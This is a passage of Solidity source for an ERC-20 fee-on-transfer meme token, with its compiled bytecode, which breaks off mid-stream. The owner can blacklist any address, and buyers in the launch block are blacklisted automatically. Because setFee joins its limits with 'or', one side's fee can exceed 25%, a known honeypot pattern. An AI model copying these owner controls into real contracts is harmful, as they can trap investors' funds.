modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function AllowTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c8063763a67af116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b80638f9a55c0116100d15780638f9a55c0146104d457806395d89b41146104ff57806398a5c3151461052a578063a2a957bb14610553576101d7565b8063763a67af146104675780637d1db4a51461047e5780638da5cb5b146104a9576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906131ad565b6106f0565b005b34801561021157600080fd5b5061021a61081a565b6040516102279190613673565b60405180910390f35b34801561023c57600080fd5b506102576004803603810190610252919061310d565b610857565b604051610264919061363d565b60405180910390f35b34801561027957600080fd5b50610282610875565b60405161028f9190613658565b60405180910390f35b3480156102a457600080fd5b506102ad61089b565b6040516102ba91906138b5565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130ba565b6108ad565b6040516102f7919061363d565b60405180910390f35b34801561030c57600080fd5b506103156109df565b60405161032291906138b5565b60405180910390f35b34801561033757600080fd5b506103406109e5565b60405161034d919061392a565b60405180910390f35b34801561036257600080fd5b5061036b6109ee565b6040516103789190613622565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613020565b610a14565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906131f6565b610b04565b005b3480156103df57600080fd5b506103e8610bb5565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613020565b610c86565b60405161041e91906138b5565b60405180910390f35b34801561043357600080fd5b5061043c610cd7565b005b34801561044a57600080fd5b5061046560048036038101906104609190613223565b610e2a565b005b34801561047357600080fd5b5061047c610f23565b005b34801561048a57600080fd5b50610493610fdc565b6040516104a091906138b5565b60405180910390f35b3480156104b557600080fd5b506104be610fe2565b6040516104cb9190613622565b60405180910390f35b3480156104e057600080fd5b506104e961100b565b6040516104f691906138b5565b60405180910390f35b34801561050b57600080fd5b50610514611011565b6040516105219190613673565b60405180910390f35b34801561053657600080fd5b50610551600480360381019061054c9190613223565b61104e565b005b34801561055f57600080fd5b5061057a60048036038101906105759190613250565b6110ed565b005b34801561058857600080fd5b506105a3600480360381019061059e919061310d565b611216565b6040516105b0919061363d565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190613020565b611234565b6040516105ed919061363d565b60405180910390f35b34801561060257600080fd5b5061060b611254565b005b34801561061957600080fd5b50610634600480360381019061062f919061314d565b61132d565b005b34801561064257600080fd5b5061064b611467565b60405161065891906138b5565b60405180910390f35b34801561066d57600080fd5b506106886004803603810190610683919061307a565b61146d565b60405161069591906138b5565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c09190613223565b6114f4565b005b3480156106d357600080fd5b506106ee60048036038101906106e99190613020565b6115ed565b005b6106f86117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906137d5565b60405180910390fd5b60005b8151811015610816576001601160008484815181106107aa576107a9613ca8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080e90613c01565b915050610788565b5050565b60606040518060400160405280600a81526020017f44616e6b6520456c6f6e00000000000000000000000000000000000000000000815250905090565b600061086b6108646117af565b84846117b7565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069021e19e0c9bab2400000905090565b60006108ba848484611982565b600560006108c66117af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166109d4576109d38461091e6117af565b6109ce8560405180606001604052806028815260200161421d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109846117af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123569092919063ffffffff16565b6117b7565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a1c6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa0906137d5565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b0c6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b90906137d5565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bf66117af565b73ffffffffffffffffffffffffffffffffffffffff161480610c6c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c546117af565b73ffffffffffffffffffffffffffffffffffffffff16145b610c7557600080fd5b6000479050610c83816123ba565b50565b6000610cd0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b5565b9050919050565b610cdf6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d63906137d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e326117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb6906137d5565b60405180910390fd5b6103e869021e19e0c9bab2400000610ed79190613a41565b811015610f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1090613895565b60405180910390fd5b8060178190555050565b610f2b6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf906137d5565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600981526020017f44414e4b45454c4f4e0000000000000000000000000000000000000000000000815250905090565b6110566117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da906137d5565b60405180910390fd5b8060198190555050565b6110f56117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611182576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611179906137d5565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111ac91906139eb565b9050600083866111bc91906139eb565b90506019821115806111cf575060198111155b61120e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120590613795565b60405180910390fd5b505050505050565b600061122a6112236117af565b8484611982565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112956117af565b73ffffffffffffffffffffffffffffffffffffffff16148061130b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f36117af565b73ffffffffffffffffffffffffffffffffffffffff16145b61131457600080fd5b600061131f30610c86565b905061132a81612523565b50565b6113356117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b9906137d5565b60405180910390fd5b60005b838390508110156114615781600560008686858181106113e8576113e7613ca8565b5b90506020020160208101906113fd9190613020565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145990613c01565b9150506113c5565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114fc6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611589576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611580906137d5565b60405180910390fd5b6103e869021e19e0c9bab24000006115a19190613a41565b8110156115e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115da90613875565b60405180910390fd5b8060188190555050565b6115f56117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611682576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611679906137d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e990613715565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181e90613855565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611897576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188e90613735565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197591906138b5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e990613815565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990613695565b60405180910390fd5b60008111611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c906137f5565b60405180910390fd5b611aad610fe2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1b5750611aeb610fe2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561205557601660149054906101000a900460ff16611baa57611b3c610fe2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136b5565b60405180910390fd5b5b601754811115611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be6906136f5565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c935750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990613755565b60405180910390fd5b6008544311158015611d315750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611d8b5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e21576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ece5760185481611e8384610c86565b611e8d91906139eb565b10611ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec490613835565b60405180910390fd5b5b6000611ed930610c86565b9050600060195482101590506017548210611ef45760175491505b808015611f0e5750601660159054906101000a900460ff16155b8015611f685750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f7e575060168054906101000a900460ff165b8015611fd45750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561202a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120525761203882612523565b600047905060008111156120505761204f476123ba565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120fc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121af5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121ae5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121bd5760009050612344565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122685750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561228057600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561232b5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561234357600b54600d81905550600c54600e819055505b5b612350848484846127ab565b50505050565b600083831115829061239e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123959190613673565b60405180910390fd5b50600083856123ad9190613acc565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240a6002846127d890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612435573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124866002846127d890919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124b1573d6000803e3d6000fd5b5050565b60006006548211156124fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f3906136d5565b60405180910390fd5b6000612506612822565b905061251b81846127d890919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561255b5761255a613cd7565b5b6040519080825280602002602001820160405280156125895781602001602082028036833780820191505090505b50905030816000815181106125a1576125a0613ca8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561264357600080fd5b505afa158015612657573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061267b919061304d565b8160018151811061268f5761268e613ca8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b7565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161275a9594939291906138d0565b600060405180830381600087803b15801561277457600080fd5b505af1158015612788573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127b9576127b861284d565b5b6127c4848484612890565b806127d2576127d1612a5b565b5b50505050565b600061281a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a6f565b905092915050565b600080600061282f612ad2565b9150915061284681836127d890919063ffffffff16565b9250505090565b6000600d5414801561286157506000600e54145b1561286b5761288e565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806128a287612b37565b95509550955095509550955061290086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061299585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129e181612c47565b6129eb8483612d04565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a4891906138b5565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aad9190613673565b60405180910390fd5b5060008385612ac59190613a41565b9050809150509392505050565b60008060006006549050600069021e19e0c9bab24000009050612b0a69021e19e0c9bab24000006006546127d890919063ffffffff16565b821015612b2a5760065469021e19e0c9bab2400000935093505050612b33565b81819350935050505b9091565b6000806000806000806000806000612b548a600d54600e54612d3e565b9250925092506000612b64612822565b90506000806000612b778e878787612dd4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612be183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612356565b905092915050565b6000808284612bf891906139eb565b905083811015612c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3490613775565b60405180910390fd5b8091505092915050565b6000612c51612822565b90506000612c688284612e5d90919063ffffffff16565b9050612cbc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffff